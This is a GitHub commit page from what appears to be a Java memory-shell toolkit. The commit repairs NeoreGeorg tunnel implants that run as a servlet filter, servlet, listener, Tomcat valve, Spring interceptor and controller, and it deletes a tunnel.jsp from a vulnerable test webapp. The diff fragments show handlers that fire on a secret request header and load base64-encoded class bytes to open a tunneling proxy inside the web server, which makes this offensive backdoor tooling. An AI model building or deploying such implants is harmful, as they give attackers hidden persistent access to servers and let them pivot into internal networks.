Skip to content

Commit d14203e

Browse files
committed
fix: NeoreGeorg proxy not work
1 parent 839653b commit d14203e

File tree

7 files changed

+48
-91
lines changed

7 files changed

+48
-91
lines changed

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/neoreg/NeoreGeorgControllerHandler.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ public Class<?> load(byte[] cb) {
4040
}
4141

4242

43+
@SuppressWarnings("all")
4344
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
4445
try {
4546
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
@@ -48,14 +49,14 @@ public ModelAndView handleRequest(HttpServletRequest request, HttpServletRespons
4849
response,
4950
chars.toCharArray(),
5051
base64Bytes,
51-
200,
52-
513,
53-
524288,
52+
new Integer(200),
53+
new Integer(513),
54+
new Integer(524288),
5455
hello,
55-
1447564139,
56-
0,
57-
0,
58-
0,
56+
new Integer(1447564139),
57+
new Integer(0),
58+
new Integer(0),
59+
new Integer(0),
5960
};
6061

6162
if (namespace.get(chars) == null) {

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/neoreg/NeoreGeorgInterceptor.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ public Class<?> load(byte[] cb) {
4040
}
4141

4242
@Override
43+
@SuppressWarnings("all")
4344
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
4445
try {
4546
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
@@ -48,14 +49,14 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons
4849
response,
4950
chars.toCharArray(),
5051
base64Bytes,
51-
200,
52-
513,
53-
524288,
52+
new Integer(200),
53+
new Integer(513),
54+
new Integer(524288),
5455
hello,
55-
1447564139,
56-
0,
57-
0,
58-
0,
56+
new Integer(1447564139),
57+
new Integer(0),
58+
new Integer(0),
59+
new Integer(0),
5960
};
6061

6162
if (namespace.get(chars) == null) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgFilter.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,7 @@ public void init(FilterConfig filterConfig) throws ServletException {
4343
}
4444

4545
@Override
46+
@SuppressWarnings("all")
4647
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
4748
HttpServletRequest request = (HttpServletRequest) servletRequest;
4849
HttpServletResponse response = (HttpServletResponse) servletResponse;
@@ -53,14 +54,14 @@ public void doFilter(ServletRequest servletRequest, ServletResponse servletRespo
5354
response,
5455
chars.toCharArray(),
5556
base64Bytes,
56-
200,
57-
513,
58-
524288,
57+
new Integer(200),
58+
new Integer(513),
59+
new Integer(524288),
5960
hello,
60-
1447564139,
61-
0,
62-
0,
63-
0,
61+
new Integer(1447564139),
62+
new Integer(0),
63+
new Integer(0),
64+
new Integer(0),
6465
};
6566

6667
if (namespace.get(chars) == null) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -86,6 +86,7 @@ public void requestDestroyed(ServletRequestEvent sre) {
8686
}
8787

8888
@Override
89+
@SuppressWarnings("all")
8990
public void requestInitialized(ServletRequestEvent sre) {
9091
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
9192
try {
@@ -97,14 +98,14 @@ public void requestInitialized(ServletRequestEvent sre) {
9798
response,
9899
chars.toCharArray(),
99100
base64Bytes,
100-
200,
101-
513,
102-
524288,
101+
new Integer(200),
102+
new Integer(513),
103+
new Integer(524288),
103104
hello,
104-
1447564139,
105-
0,
106-
0,
107-
0,
105+
new Integer(1447564139),
106+
new Integer(0),
107+
new Integer(0),
108+
new Integer(0),
108109
};
109110

110111
if (namespace.get(chars) == null) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgServlet.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@ public Class<?> load(byte[] cb) {
3838
}
3939

4040
@Override
41+
@SuppressWarnings("all")
4142
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
4243
HttpServletRequest request = (HttpServletRequest) servletRequest;
4344
HttpServletResponse response = (HttpServletResponse) servletResponse;
@@ -48,14 +49,14 @@ public void service(ServletRequest servletRequest, ServletResponse servletRespon
4849
response,
4950
chars.toCharArray(),
5051
base64Bytes,
51-
200,
52-
513,
53-
524288,
52+
new Integer(200),
53+
new Integer(513),
54+
new Integer(524288),
5455
hello,
55-
1447564139,
56-
0,
57-
0,
58-
0,
56+
new Integer(1447564139),
57+
new Integer(0),
58+
new Integer(0),
59+
new Integer(0),
5960
};
6061

6162
if (namespace.get(chars) == null) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgValve.java

Lines changed: 8 additions & 7 deletions
Large diffs are not rendered by default.

vul/vul-webapp/src/main/webapp/tunnel.jsp

Lines changed: 0 additions & 49 deletions
This file was deleted.

0 commit comments

Comments
 (0)